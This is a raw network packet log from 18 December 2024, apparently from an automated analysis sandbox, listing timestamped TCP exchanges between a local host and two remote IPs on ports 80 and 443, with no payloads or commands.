Dec 18, 2024 21:30:45.518392086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.518404961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.519031048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.519042969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.519073963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.519083977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.549566984 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:45.549674988 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:45.552582979 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:45.552592039 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:45.552892923 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:45.554730892 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:45.554948092 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:45.554990053 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:45.555679083 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:45.555689096 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:45.677225113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.677326918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.677408934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.677421093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.677705050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.677721977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.677757978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.677772999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.678435087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.678486109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.678633928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.678649902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.678695917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.679444075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.679490089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.679569960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.679608107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.680272102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.680288076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.680332899 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.680382013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.680397987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.680438995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.680846930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.680864096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.680903912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.680916071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.681432009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.681449890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.681488037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.681499004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.682068110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.682121992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.682185888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.682219982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.682602882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.682759047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.682770967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.682811022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.683342934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.683358908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.683386087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.683398008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.684144020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.684160948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.684211016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.684686899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.684739113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.684859991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.684904099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.685451984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.685467958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.685483932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.685492992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.685508966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.685535908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.685969114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.685985088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.686026096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.686856985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.686872959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.686903954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.686916113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.687520981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.687561035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.687679052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.687720060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.688267946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.688283920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.688298941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.688314915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.688327074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.688340902 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.688818932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.688844919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.688884974 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.689749956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.689765930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.689810038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.689837933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.690546989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.690711021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.690753937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.691299915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.691330910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.691345930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.691366911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.691379070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.692117929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.692135096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.692151070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.692182064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.692214012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.693207979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.693224907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.693258047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.693274975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.693839073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.693856001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.693891048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.693902969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.694274902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.694293022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.694340944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.694778919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.694802046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.694817066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.694838047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.694866896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.695585966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.695602894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.695658922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.696276903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.696293116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.696342945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.696362972 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.696960926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.696976900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.697017908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.697035074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.697333097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.697350025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.697386980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.697411060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.698190928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.698206902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.698221922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.698256016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.698290110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.698700905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.698718071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.698764086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.699384928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.699399948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.699430943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.699465036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.699904919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.699920893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.699965000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.700375080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.700391054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.700406075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.700439930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.700439930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.701176882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.701220036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.701332092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.701378107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.701931953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.701946974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.701976061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.701997995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.702610016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.702625036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.702671051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.703104973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.703130007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.703172922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.703947067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.703963995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.703995943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.704009056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.704102039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.704293966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.704657078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.704673052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.704698086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.704727888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.705306053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.705322027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.705349922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.705363035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.705868959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.705885887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.705929995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.706881046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.706897974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.706912994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.706937075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.706952095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.707427979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.707485914 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.707588911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.707760096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.708131075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.708147049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.708184004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.708198071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.708636999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.708652973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.708698988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.709497929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.709513903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.709559917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.899554968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.899640083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.899677992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.899693966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.899740934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.899771929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.900238991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.900250912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.900289059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.900768995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.900827885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.900930882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.900980949 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.901109934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.901120901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.901160955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.901956081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.901968956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.902014017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.902601004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.902612925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.902623892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.902729034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.902729034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.903376102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.903388977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.903434992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.903863907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.903882980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.903930902 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.904433966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.904447079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.904478073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.904505014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.905138016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.905148983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.905193090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.905869961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.905881882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.905941010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.905961037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.906691074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.906703949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.906764030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.907015085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.907028913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.907110929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.907861948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.907876015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.907886982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.907912970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.907939911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.908576965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.908587933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.908621073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.908644915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.909271002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.909281969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.909311056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.909667015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.909852028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.909864902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.909889936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.909904957 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.910554886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.910567999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.910578012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.910621881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.910640955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.911283970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.911295891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.911354065 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.912003040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.912014961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.912067890 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.912508011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.912520885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.912568092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.913459063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.913471937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.913527966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.914060116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.914072990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.914118052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.914154053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.914263010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.915013075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.915025949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.915069103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.915083885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.915519953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.915532112 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.915576935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.916378975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.916392088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.916438103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.916471004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.916776896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.916834116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.916846037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.916877031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.916903973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.917504072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.917516947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.917551041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.917567968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.918190956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.918222904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.918260098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.918275118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.918976068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.918988943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.919039965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.919554949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.919567108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.919642925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.919642925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.920072079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.920084000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.920100927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.920110941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.920125961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.920136929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.920835018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.920847893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.920886040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.921590090 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.921602964 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.921639919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.922379971 CET	80	49819	31.41.244.11	192.168.2.5
